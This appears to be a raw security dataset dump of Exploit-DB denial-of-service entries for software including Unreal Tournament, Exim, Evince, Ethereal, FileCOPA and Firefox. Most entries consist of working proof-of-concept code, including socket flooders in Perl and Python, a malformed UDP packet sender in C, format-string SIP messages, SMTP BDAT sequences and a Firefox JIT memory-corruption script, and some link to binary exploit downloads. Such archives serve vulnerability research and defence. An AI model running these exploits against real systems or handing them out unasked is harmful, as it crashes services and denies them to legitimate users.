deardaniel/secdata-raw huggingface dataset:
Exploit-DB #23799
Description: Epic Games Unreal Tournament Server 436.0 - Engine Remote Format String
Type: dos
Platform: multiple
Date: 2004-03-10
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/9840/info

A format string vulnerability has been reported to exists in the Unreal Tournament server engine. This issue is due to a failure of the server application to properly sanitize user supplied network data.

Ultimately this vulnerability could allow for execution of arbitrary code on the system implementing the affected server software, which would occur in the security context of the server process.

Example:

From:
Class=Engine.Pawn

To:
Class=%n%nEngine.Pawn

If the game is vulnerable it will crash when launched.
Exploit-DB #44821
Description: Epiphany 3.28.2.1 - Denial of Service
Type: dos
Platform: multiple
Date: 2018-06-01
Author: Dhiraj Mishra

Exploit:
Summary:
ephy-session.c in libephymain.so in GNOME Web (aka Epiphany) through 3.28.2.1 allows remote attackers to cause a denial of service (application crash) via JavaScript code that triggers access to a NULL URL, as demonstrated by a crafted window.open call, CVE-2018-11396 was assigned to this issue.

PoC:
<script>
win = window.open("hello world");
</script>

Stack trace:
ftw@ftw-box:~$ gdb epiphany
(gdb) run
Starting program: /usr/bin/epiphany 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7fffe08bc700 (LWP 2279)]
[New Thread 0x7fffdee51700 (LWP 2280)]
[New Thread 0x7fffde650700 (LWP 2281)]
[New Thread 0x7fffdcdd5700 (LWP 2282)]
[New Thread 0x7fffd7fff700 (LWP 2283)]
[New Thread 0x7fffd77fe700 (LWP 2284)]
[New Thread 0x7fffd6ffd700 (LWP 2285)]
[New Thread 0x7fffd67fc700 (LWP 2286)]
[New Thread 0x7fffd5b8c700 (LWP 2287)]
[New Thread 0x7fffd538b700 (LWP 2288)]
[New Thread 0x7fff8f486700 (LWP 2294)]
[New Thread 0x7fff8da1e700 (LWP 2304)]
[New Thread 0x7fff8d21d700 (LWP 2305)]
[New Thread 0x7fff8ea7f700 (LWP 2315)]
[Thread 0x7fffd5b8c700 (LWP 2287) exited]
[Thread 0x7fffd67fc700 (LWP 2286) exited]

Thread 15 "pool" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fff8ea7f700 (LWP 2315)]
0x00007ffff7b75db7 in ?? () from /usr/lib/x86_64-linux-gnu/epiphany-browser/libephymain.so
(gdb) bt
#0  0x00007ffff7b75db7 in ?? () from /usr/lib/x86_64-linux-gnu/epiphany-browser/libephymain.so
#1  0x00007ffff7079be6 in ?? () from /usr/lib/x86_64-linux-gnu/libgio-2.0.so.0
#2  0x00007ffff73fe7d0 in ?? () from /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0
#3  0x00007ffff73fde05 in ?? () from /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0
#4  0x00007fffefc246db in start_thread (arg=0x7fff8ea7f700) at pthread_create.c:463
#5  0x00007ffff5e4c88f in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
(gdb)
Exploit-DB #27210
Description: eStara SoftPhone 3.0.1 - SIP SDP Message Handling Format String Denial of Service
Type: dos
Platform: multiple
Date: 2006-02-14
Author: ZwelL

Exploit:
source: https://www.securityfocus.com/bid/16629/info

eStara Smartphone is prone to multiple denial-of-service vulnerabilities when processing malformed VOIP headers. Successful exploitation will cause the device to crash.

INVITE sip:a@127.0.0.1 SIP/2.0
Via: SIP/2.0/UDP 172.16.3.6:3333;branch=z9hG4bK00003013z9hG4bK.00003B37
From: 3013 <sip:a@127.0.0.1>;tag=3013
To: zwell <sip:a@127.0.0.1>
Call-ID: 1295@172.16.3.6
CSeq: 21086 INVITE
Content-Type: application/sdp
Content-Length: 134

v=0
o=3013 3013 3013 %s%x%n IP4 172.16.3.6
s=Session SDP
c=IN IP4 172.16.3.6
t=0 0
m=audio 9876 RTP/AVP 0
a=rtpmap:0 PCMU/8000


INVITE sip:a@127.0.0.1 SIP/2.0
Via: SIP/2.0/UDP 172.16.3.6:3333;branch=z9hG4bK00003013z9hG4bK.00003B37
From: 3013 <sip:a@127.0.0.1>;tag=3013
To: zwell <sip:a@127.0.0.1>
Call-ID: 1295@172.16.3.6
CSeq: 21086 INVITE
Content-Type: application/sdp
Content-Length: 134

%s=0
o=4085 4085 4085 IN IP4 172.16.3.6
s=Session SDP
c=IN IP4 172.16.3.6
t=0 0
m=audio 9876 %s%x%n 0
a=rtpmap:0 PCMU/8000
Exploit-DB #27211
Description: eStara SoftPhone 3.0.1 SIP Packet - Multiple Malformed Field Denial of Service Vulnerabilities
Type: dos
Platform: multiple
Date: 2006-02-14
Author: ZwelL

Exploit:
source: https://www.securityfocus.com/bid/16629/info
 
eStara Smartphone is prone to multiple denial-of-service vulnerabilities when processing malformed VOIP headers. Successful exploitation will cause the device to crash.

For the negative 'Expires' field issue:

OPTIONS sip:a@127.0.0.1 SIP/2.0
Via: SIP/2.0/UDP 172.16.3.6:3334;branch=z9hG4bK00001793z9hG4bK.00001FDB
From: 1793 <sip:a@127.0.0.1>;tag=1793
To: zwell <sip:a@127.0.0.1>
Call-ID: 1407@172.16.3.6
CSeq: 5185 OPTIONS
Expires: -127

For the 'Content-Length' field issue:

INVITE sip:a@127.0.0.1 SIP/2.0
Via: SIP/2.0/UDP 172.16.3.6:3333;branch=z9hG4bK00002386z9hG4bK.0000234E
From: 2386 <sip:a@127.0.0.1>;tag=2386
To: zwell <sip:a@127.0.0.1>
Call-ID: 31442@172.16.3.6
CSeq: 4896 INVITE
Content-Type: application/sdp
Content-Length:[PII_REDACTED]

v=0
o=2386 2386 2386 IN IP4 172.16.3.6
s=Session SDP
c=IN IP4 172.16.3.6
t=0 0
m=audio 9876 RTP/AVP 0
a=rtpmap:0 PCMU/8000
Exploit-DB #25075
Description: Eternal Lines Web Server 1.0 - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2005-02-01
Author: Ziv Kamir

Exploit:
source: https://www.securityfocus.com/bid/12416/info

Eternal Lines Web Server is reported prone to a remote denial of service vulnerability. It is reported that the issue presents itself when the web service handles 70 or more simultaneous connections from a remote host.

A remote attacker may exploit this vulnerability to deny service to legitimate users. 

#!/usr/bin/perl
##############################################################
#        GSS-IT Research And Security Labs                   #
##############################################################
#                                                            #
#                www.gssit.co.il                             #
#                                                            #
##############################################################
#  Eternal Lines Web Server Ver 1.0 Denial Of Service POC    #
##############################################################
 
 
  
  use Socket;
  
  $host = $ARGV[0];
  $port = $ARGV[1];
  $slp  = $ARGV[2];
  $proto = getprotobyname('tcp');
  
 
if (($#ARGV) < 2)
{
print("##########################################################\n");
print("# Eternal Lines Web Server Ver 1.0 Denial Of Service POC #\n");
print("##########################################################\n\n");
print("Use : \n\nperl $0 [Host] [Port] [Sleep] \n");
exit
}
 
print("##########################################################\n");
print("# Eternal Lines Web Server Ver 1.0 Denial Of Service POC #\n");
print("##########################################################\n");
 
 
 
for ($i=1; $i<80; $i++)
{
  socket($i, PF_INET, SOCK_STREAM, $proto ); 
  $dest = sockaddr_in ($port, inet_aton($host));
  if (!(connect($i, $dest)))
  {
   Slp();
  } 
 
}
 
print("==> Unsuccesful <==");
exit;
 
 
sub Slp
 
{
 
 print("\n\nServer $host Has Been Successfully DoS'ed\n\n");
 print("The Server Will Be Down For $slp Seconds\n\n");
 sleep ($slp);
 
 print("==> Killing Connections ...<==\n");
 for ($j=1; $j<80; $j++)
  {
   shutdown($j,2);
  }
 print ("[#] Back To Work Server Up [#] ");
 exit;
}
Exploit-DB #867
Description: Ethereal 0.10.9 - Denial of Service
Type: dos
Platform: multiple
Date: 2005-03-08
Author: Leon Juranic

Exploit:
/*
 * 
 * Ethereal 3G-A11 remote buffer overflow PoC exploit 
 * --------------------------------------------------
 * Coded by Leon Juranic <ljuranic@lss.hr> 
 * LSS Security <http://security.lss.hr/en/>
 * 
 */ 

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>


main (int argc, char **argv)
{
	int sock;
	struct sockaddr_in sin;
	unsigned char buf[1024];
	char bla[200];

	sock=socket(AF_INET,SOCK_DGRAM,0);

	sin.sin_family=AF_INET;
	sin.sin_addr.s_addr = inet_addr(argv[1]);
	sin.sin_port = htons(699);

	buf[0] = 22;
	memset(buf+1,'A',19);
	buf[20] = 38;
	*(unsigned short*)&buf[22] = htons(100); 
	*(unsigned short*)&buf[28] = 0x0101;
	buf[30] = 31;
	buf[31] = 150;   // len for overflow...play with this value if it doesn't work

	memset (bla,'B',200);
	strncpy (buf+32,bla,180);
	
	sendto (sock,buf,200,0,(struct sockaddr*)&sin,sizeof(struct sockaddr));
}

// milw0rm.com [2005-03-08]
Exploit-DB #22987
Description: EveryBuddy 0.4.3 - Long Message Denial of Service
Type: dos
Platform: multiple
Date: 2003-08-05
Author: Noam Rathaus

Exploit:
source: https://www.securityfocus.com/bid/8343/info

EveryBuddy is prone to a denial of service vulnerability when handling instant messages of excessive length. This could be exploited with a malicious instant messaging client.

This condition may be due to a buffer overflow, though this has not been confirmed.

#!/usr/bin/perl

use MSN; # from  <http://www.adamswann.com/library/2002/msn-perl/> 
http://www.adamswann.com/library/2002/msn-perl/

my $client = MSN->new();
$client->connect('email address', 'password', '', {
    Status => \&Status,
    Answer => \&Answer,
    Message => \&Message,
    Join => \&Join }
);


sub Status {
   my ($self, $username, $newstatus) = @_;

   print "Status() called with parameters:\n";
   print " " . join(",", @_), "\n";

   # Print the status change info.
   print "${username}'s status changed from " . 
$self->buddystatus($username) . " to $newstatus.\n";

      # Initiate the call.
      $self->call($username);

      # The call may take a few seconds to complete, so we can't
      # immediately send messages. Let's put the message in a
      # FIFO (queue) that is keyed by username.
      push (@{$queue{$username}}, "Glad to see you online!");
   }

}

sub Message {
   my ($self, $username, undef, $msg) = @_;

   print "Message() called with parameters:\n";
   print " " . join(",", @_), "\n";

}

sub Join {
   my ($self, $username) = @_;

   print "Join() called with parameters:\n";
   print " " . join(",", @_), "\n";

   # See if there's anything queued up.
   # Deliver each message if there is stuff in the queue for this user.
   while ($_ = shift @{$queue{$username}}) {
      $$self->sendmsg($_);
   }
}

sub Answer {
   my ($self, $username) = @_;

   print "Answer() called with parameters:\n";
   print " " . join(",", @_), "\n";

   # Send a hello message.
   $$self->sendmsg("AAAAAAAAAAAAAAAAAAAAAAAAAAA\r"x55);

}
Exploit-DB #28679
Description: Evince PDF Reader 2.32.0.145 (Windows) / 3.4.0 (Linux) - Denial of Service
Type: dos
Platform: multiple
Date: 2013-10-02
Author: Deva

Exploit:
Advisory Information :
======================
Title : Evince 2.32.0.145 - Denial Of Service
Product : Evince pdf reader
Vendor Homepage: https://projects.gnome.org/evince/
Vulnerable Version(s) : Windows 2.32.0.145, Linux 3.4.0 and probably prior release
Tested Version : Windows 2.32.0.145, Linux 3.4.0
Tested On : Windows 7 & 8, Ubuntu 13.04
Discovered By : Deva, Securimag Team
 
Introduction :
==============
Evince is a document viewer for multiple document formats. 
The goal of evince is to replace the multiple document viewers that exist on the GNOME Desktop with a single simple application.
 
- Copied from : https://projects.gnome.org/evince/

Proof Of Concept :
==================
You can control dereferenced address by changing value of /Root (here 42)

#!/usr/bin/python

pdf = """trailer
<<
/Size 1337
/Root 42 0 R
>>
startxref
1
%%EOF
"""
 
filename = "EvincePoC.pdf"
file = open(filename,"w")
file.writelines(pdf)
file.close()
Exploit-DB #43184
Description: Exim 4.89 - 'BDAT' Denial of Service
Type: dos
Platform: multiple
Date: 2017-11-27
Author: meh

Exploit:
While parsing BDAT data header, exim still scans for '.' and consider it the end of mail.
https://github.com/Exim/exim/blob/master/src/src/receive.c#L1867

Exim goes into an incorrect state after this message is sent because the function pointer receive_getc is not reset. If the following command is also a BDAT, receive_getc and lwr_receive_getc become the same and an infinite loop occurs inside bdat_getc. Program crashes due to running out of stack.
https://github.com/Exim/exim/blob/master/src/src/smtp_in.c#L547

Here is a simple PoC which leads to an infinite loop and program crash:

EHLO localhost
MAIL FROM:<test@localhost>
RCPT TO:<test@localhost>
BDAT 10
.
BDAT 0


Part of debug info
============================
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30295 child 30502 ended: status=0x8b
15:36:54 30295   signal exit, signal 11 (core dumped)
15:36:54 30295 1 SMTP accept process now running
15:36:54 30295 Listening...
============================

We also found that this vulnerability can make exim hang(go into an infinite loop without crashing and run forever) even the connection is closed. It seems like this can be used to raise a resource based DoS attack.
This can be triggered using the following command:

EHLO localhost
MAIL FROM:<test@localhost>
RCPT TO:<test@localhost>
BDAT 100
.
MAIL FROM:<test@localhost>
RCPT TO:<test@localhost>
BDAT 0 LAST

// Tested on current master, ubuntu16.04.
Exploit-DB #27140
Description: Exiv2 - Corrupted EXIF Data Denial of Service
Type: dos
Platform: multiple
Date: 2006-01-26
Author: Maciek Wierciski

Exploit:
source: https://www.securityfocus.com/bid/16400/info

Exiv2 is susceptible to a denial-of-service vulnerability. This issue is due to the application's failure to properly bounds-check user-supplied input data before attempting to read it, resulting in an out-of-bounds memory access crash.

This issue allows attackers to crash applications that use the affected library to process malicious image data. Depending on the nature of applications, this may be local or remote in nature.

This issue is present in Exiv2 versions prior to 0.9.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27140.jpg
Exploit-DB #6174
Description: F-PROT AntiVirus 6.2.1.4252 - Malformed Archive Infinite Loop Denial of Service
Type: dos
Platform: multiple
Date: 2008-07-31
Author: kokanin

Exploit:
$ /opt/f-prot/fpscan snot.zip

F-PROT Antivirus version 6.2.1.4252 (built: 2008-04-28T16-44-10)
FRISK Software International (C) Copyright 1989-2007

Engine version: 4.4.4.56
Virus signatures:[PII_REDACTED]48d9e53873896ea96bd4e8a470344c25b5
                  (/opt/f-prot/antivir.def)

Scanning: -

^^ at this point the scanner gets stuck in an infinite loop and will not
finish or continue to other files if told to scan a directory.

If you use F-PROT you probably won't be reading this on account of
your scanner hanging, woops.
--
kokanin

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6174.zip (2008-snot.zip.bla)

# milw0rm.com [2008-07-31]
Exploit-DB #27159
Description: Fcron 3.0 - Convert-FCronTab Local Buffer Overflow
Type: dos
Platform: multiple
Date: 2006-02-01
Author: Adam Zabrocki

Exploit:
source: https://www.securityfocus.com/bid/16467/info

Fcron is susceptible to a local buffer-overflow vulnerability. This issue is due to the application's failure to properly bounds-check user-supplied data before copying it to an insufficiently sized memory buffer.

This issue allows local attackers to execute arbitrary machine code with superuser privileges, since the affected utility is installed setuid-superuser by default in some installations. This allows attackers to completely compromise affected computers.

Fcron version 3.0 is affected by this issue; previous versions may also be affected.

Update: This issue is now retired. Further analysis reveals that this issue cannot be exploited for code execution; therefore, this is not a vulnerability.

convert-fcrontab `perl -e 'print "pi3"x600'`
Exploit-DB #38626
Description: FileCOPA FTP Server - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2013-07-01
Author: Chako

Exploit:
source: https://www.securityfocus.com/bid/60909/info

FileCOPA FTP Server is prone to a remote denial-of-service vulnerability.

Attackers can exploit this issue to crash the affected application, denying service to legitimate users.

FileCOPA FTP Server 7.01 is vulnerable; other versions may also be affected. 

#!/usr/bin/python

import socket
import sys


PAYLOAD = "\x41" * 7000


print("\n\n[+] FileCOPA V7.01 HTTP POST Denial Of Service")
print("[+] Version: V7.01")
print("[+] Chako\n\n\n")

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('www.example.com',81))

s.send("POST /" + PAYLOAD + "/ HTTP/1.0\r\n\r\n")


s.close()
print("[!] Done! Exploit successfully sent\n")
Exploit-DB #25757
Description: Firefly Studios Stronghold 2 - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2005-05-28
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/13814/info

Stronghold 2 is affected by a remote denial of service vulnerability.

The issue arises when the game server handles a specially crafted packet.

Stronghold 2 1.2 and prior versions are affected by this vulnerability. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25757.zip
Exploit-DB #47079
Description: Firefox 67.0.4 - Denial of Service
Type: dos
Platform: multiple
Date: 2019-07-09
Author: Tejas Ajay Naik

Exploit:
<!--
  Exploit Title: DOMParser Denial of Service on Firefox 67.0.4 

  Date: 09/07/2019

  Description: pass a huge string as an argument to DOMParser.parseFromString will crash the tab in Firefox version 67.0.4.

  Exploit Author:Tejas Ajay Naik  

  Vendor Homepage: 

  Software Link: https://ftp.mozilla.org/pub/firefox/releases/

  Version: 67.0.4

  Tested On: Linux x86,Windows x64 1803  

  CVE:
-->
<!DOCTYPE html>
<head>
  <title>
    Loading please wait
  </title>
  
  <script>
    function MyFun() {
    
    var text = [];
    for(var i=0 ;i<300 ; ++i)
      text += "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>"+
              "<\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70><\x70>";
      var domparser = new DOMParser();
      var doc = domparser.parseFromString(text,"application/xhtml+xml");
  }
  </script>

</head>

<body>
  <input type="button" onmousemove="MyFun()" value="click"/>
  <p id="demo"></p>
</body>  
</html>
Exploit-DB #46605
Description: Firefox < 66.0.1 - 'Array.prototype.slice' Buffer Overflow
Type: dos
Platform: multiple
Date: 2019-03-26
Author: xuechiyaobai

Exploit:
<script>

let size = 64;

garr = [];
j = 0;
function gc(){
	var tmp = [];
	for(let i = 0;i < 0x20000;i++){
		tmp[i] = new Uint32Array(size * 2);
		for(let j = 0;j < (size*2);j+=2){
			tmp[i][j] = 0x12345678;
			tmp[i][j+1] = 0xfffe0123;
		}
	}
	garr[j++] = tmp;
}

let arr = [{},2.2];

let obj = {};

obj[Symbol.species] = function(){
	victim.length = 0x0;
	for(let i = 0;i < 0x2000;i++){
		gvictim[i].length = 0x0;
		gvictim[i] = null;
	}
	gc();
	//Array.isArray(garr[0][0x10000]);
	return [1.1];
}

let gvictim = [];

for(let i = 0;i < 0x1000;i++){
	gvictim[i] = [1.1,2.2];
	gvictim[i].length = size;
	gvictim[i].fill(3.3);
}

let victim = [1.1,2.2];
victim.length = size;
victim.fill(3.3);

for(let i = 0x1000;i < 0x2000;i++){
	gvictim[i] = [1.1,2.2];
	gvictim[i].length = size;
	gvictim[i].fill(3.3);
}

function fake(arg){
}
for(let i = 0;i < size;i++){
	fake["x"+i.toString()] = 2.2;
}

function jit(){
	victim[1] = 1.1;
	arr.slice();
	//fake.x2 = 6[PII_REDACTED]5e-312;
	return victim[2];
}

flag = 0;


for(let i = 0;i < 0x10000;i++){
	xx = jit();
}

arr.constructor = obj;

Array.isArray(victim);
alert(333);
alert(jit());
</script>
Exploit-DB #11644
Description: Flare 0.6 - Local Heap Overflow Denial of Service
Type: dos
Platform: multiple
Date: 2010-03-06
Author: l3D

Exploit:
# Exploit Title: Flare <= 0.6 local heap overflow DoS
# Date: 3/7/2010
# Author: l3D
# Software Link: http://www.nowrap.de/download/flare06doswin.zip
# Version: 0.6
# Tested on: Windows 7, Windows XP SP2 and some linux distributions
# Code:

#!/usr/bin/env python
#IRC: irc.nix.co.il<http://irc.nix.co.il>
#Site: xraysecurity.blogspot.com<http://xraysecurity.blogspot.com> <---- Coming soon!

#Registers:
#EAX 003E0000
#ECX 003E1088 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."
#EDX 41414141
#EBX 00004141
#ESP 0022FB0C
#EBP 0022FBDC
#ESI 003E1080
#EDI 41414141
#EIP 77195B44 ntdll.77195B44

import os, sys

if len(sys.argv) != 1:
    path=sys.argv[1]
else:
    path='flare.exe'

if not os.path.exists(path):
    print 'Usage: python %s [path to flare.exe]' % sys.argv[0]
    exit(-1)

os.execl(path, path, 'A'*0x1000)
Exploit-DB #31232
Description: Foxit WAC Remote Access Server 2.0 Build 3503 - Heap Buffer Overflow
Type: dos
Platform: multiple
Date: 2008-02-16
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/27873/info

Foxit WAC Remote Access Server is prone to a heap-based buffer-overflow vulnerability.

Successfully exploiting this issue may allow remote attackers to execute arbitrary code in the context of the application. Failed exploit attempts will likely cause denial-of-service conditions.

This issue affects WAC Server 2.0 Build 3503 and prior versions. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31232.zip